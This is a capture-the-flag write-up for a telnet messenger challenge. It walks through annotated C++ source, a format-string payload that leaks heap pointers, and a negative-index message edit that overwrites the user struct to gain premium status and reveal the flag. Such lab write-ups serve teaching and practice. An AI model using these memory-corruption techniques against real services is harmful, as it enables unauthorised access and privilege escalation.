# RozMessenger writeup
In this task, we are given access to the messenger via telnet/netcat and part of the backend source code
## Preparation
Firstly, let's check the source code (there are only important things):
```cpp
struct Message
{
int senderId;
char text[256];
int isEncrypted;
// int isEditable; // <- it looks like the message editing mechanism has been redesigned
}; // <- Total size = 4+256+4 = 0x108
struct Chat
{
int chatId;
char name[100];
int receiverId;
struct Message messages[128];
int messageCount;
int userMessageCount;
}; // <- Total size = 4+100+4+128*(4+256+4)+4+4 = 0x8474 + (maybe some alignment)
struct User
{
int userId;
char STATUS;
char name[100];
struct Message *messages_query;
}; // <- total size = 4+1+100+8 = 0x71 + some alignment
struct User *user; // <- Global pointer to user struct
void checkUserPermissions(); // func without code, so in order to compile the code, we need to define this. Just add '{}'
struct Chat chats[128]; // <- !Chats buffer allocated on heap!
...
int getChat(int chatId, struct Chat *chat){
...
memcpy(chat, &chats[chatId], sizeof(struct Chat)); // <- The current chat has been stored in some buffer
...
}
...
void getFormatForMessage(char *format, struct Message *message, int id){}; // <- totally secure function, I checked it out :)
...
void printMessage(struct Message *message, int id){}; // also totally secure func, no vulns here
...
int changeChat(struct Chat *chat, int chatId){
if (!saveChat(chat)){ // <- saving chat on changing
return 0;
}
return getChat(chatId, chat);
}
...
int editMessageHandler(struct Chat *chat, int messageId)
{
if (messageId >= chat->messageCount) // <- ! no checks for a negative index !
{
...
return 0;
}
if (chat->messages[messageId].senderId != user->userId) // <- bad check, because our user id = 0
{
...
return 0;
}
...
}
int main()
{
...
user = malloc(sizeof(struct User)); // <- !User struct allocated on heap!
struct User temp_user = {0, 0, "NONE", malloc(sizeof(struct Message) * 128)};
memcpy(user, &temp_user, sizeof(struct User));
struct Chat mainChat = {-1, "Main Chat", 0, {}, 0, 0};
struct Chat *temp_chats = malloc(sizeof(struct Chat) * 128); // Temp chats allocated on heap
struct Chat *chat = malloc(sizeof(struct Chat)); // Chat buffer also allocated on heap after user struct
memcpy(chat, &mainChat, sizeof(struct Chat));
...
checkUserPermissions(user); // useless because we don't have any code
load_chats();
...
int isExit = 0;
while (!isExit)
{
// read command
...
// process command
...
else if (strcmp(command, "/ch_chat") == 0)
{
clearScreen();
// print all chats
printf("[*] Chats:\n");
for (int i = 0; i < chatsLength; i++)
{
printf("\t[%d] %s\n", i, chats[i].name);
}
// read chat id
...
// change chat
if (!changeChat(chat, chatId)){ // <- save, no arbitrary index init
...
}
...
}
else if (strcmp(command, "/chat") == 0){
// printing messages
...
// enter to chat menu
int isExitChat = 0;
while (!isExitChat){
// read command
...
// process command
...
else if (strcmp(command, "/show") == 0){
// show chat messages
...
}
else if (strcmp(command, "/send") == 0){
// read message
char message[256];
if (user->STATUS == 0)
// annoying message
read_data(message, 50);
else
read_data(message, 256);
// send message
if (chat->messageCount >= 128){
// overflow check
printf("[!] Chat is full (128 messages)\n");
}
else{
chat->messages[chat->messageCount].senderId = user->userId;
strcpy(chat->messages[chat->messageCount].text, message);
chat->messages[chat->messageCount].isEncrypted = 0;
if (user->STATUS != 0)
// Premium staff
...
chat->messageCount++;
...
// safe print message
}
}
else if (strcmp(command, "/edit") == 0){
// read message id
int messageId;
printf("[?] Message id -> ");
scanf("%d", &messageId);
editMessageHandler(chat, messageId); // <- !INSECURE FUNCTION!
saveChat(chat);
}
else if (strcmp(command, "/exit") == 0)
// exit chat menu
isExitChat = 1;
else
printf("[!] Unknown command %s\n", command);
}
}
else if (strcmp(command, "/search") == 0){
// read message
char message[256];
int chatCount = getAllChats(temp_chats);
...
// search message
int count = searchMessageInAllChats(temp_chats, chatCount, message, user->messages_query, 128);
char buffer[256];
for (int i = 0; i < count; i++){
...
if (user->messages_query[i].isEncrypted){ // <- searchMessageInAllChats returns encrypted messages only if Premium, so, no information leak
printf(decryptMessage(&user->messages_query[i], buffer)); // <- !PREMIUM-CONTROLLED FORMAT STRING!
}
else
{
printf(user->messages_query[i].text); // <- !USER-CONTROLLED FORMAT STRING!
}
}
...
}
else if (strcmp(command, "/exit") == 0){
// exit
}
else if (strcmp(command, "/whoami") == 0){
// show user info
printf("[*] User info:\n");
printf("\tid: %d\n", user->userId);
printf("\tname: %s\n", user->name);
printf("\tstatus: %s\n", user->STATUS == 0 ? "freemium" : "premium"); // <- Hmm, non-zero status is premium...
}
else if (strcmp(command, "/buy_premium") == 0){
// scam
}
...
}
...
return 0;
}
```
So, we have vulnerable pieces of code:
- arbitrary index write (negative values)
```cpp
else if (strcmp(command, "/edit") == 0){
// read message id
...
editMessageHandler(chat, messageId);
...
}
```
- Stack leakage (via format string)
```cpp
else if (strcmp(command, "/search") == 0){
...
for (int i = 0; i < count; i++){
...
printf(user->messages_query[i].text);
}
...
}
```
> P.S. We can use a format string to RCE, but in this case it's overkill.
## Grand plan
Our next steps are:
1. Leak addresses of User struct and Chat struct (and hope that User struct allocated before Chat struct) via `/search`
2. Сalculate the difference between them and rewrite User via `/edit`
### Step one. Leaking addresses
Let's send (for example to vos) a new message like this:
`%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p`
If we send it and save chat (`/edit` or `/ch_chat`), and after `/search` for our new message, we will get this output:
```
[?] Text to search for -> %p
*******0********
Sender: roz
0x7ffd4b2afba0.(nil).0x561d7e4d0320.(nil).0x73.(nil).(nil).0x600000005.0x1.0x6.0x100000005.0x7f05a4df5010.0x561d7e4d8730.0x4e4f4e0000000000.0x45
```
Where:
* **0x561d7e4d0320** - pointer to messages_query, allocated right after the user structure (left from ```searchMessageInAllChats(temp_chats, chatCount, message, user->messages_query, 128)```,
so **User struct addr** = 0x561d7e4d0320 - sizeof(User) = **0x561d7e4d02a0**
* **0x561d7e4d8730** - pointer to Chat structure
Cool, we get all of what we need, so we can continue to step 2
### Step two. Rewrite
If we just divide 0x561d7e4d02a0 - 0x561d7e4d8730 by 0x108, we get -128.(54), so we need to use -129 index to rewrite the User struct, and write at least 12 symbols for replacing STATUS field in the structure.
> P.S. To calculate it appropriately, you can build the code on the x84_64 arch and look into a debugger.
Let's do this:
```
[vos] Command -> /edit
[?] Message id -> -129
[?] New message (max 256 chars): abcdefghijklmnop
[*] Message edited
[vos] Command -> /exit
[menu] Command -> /whoami
[*] User info:
id: 1818978921 <-- ijkl in little endian
name: nop
status: premium <- non zero, so premium!
```
Wow! Now we are premium. Read an encrypted message from Mary and get the flag!
```
┌-nop---------┐
| Hello, Mary |
└---------(0)-┘
┌-Mary <3-┐
| Hi |
└-----(1)-┘
┌-nop----------┐
| How are you? |
└----------(2)-┘
┌-Mary <3----------┐
| I'm fine, thanks |
└--------------(3)-┘
┌-nop---------------┐
| Nice to hear that |
└---------------(4)-┘
┌-Mary <3------------------------┐
| Hey, i have secret message for |
| you |
└----------------------------(5)-┘
┌-nop---------┐
| What is it? |
└---------(6)-┘
┌-Mary <3----------------------┐
| hli{m000m_i_h@k3d_m3ss3ng3r} |
└[e]-----------------------(7)-┘
[★Mary <3★] Command ->
```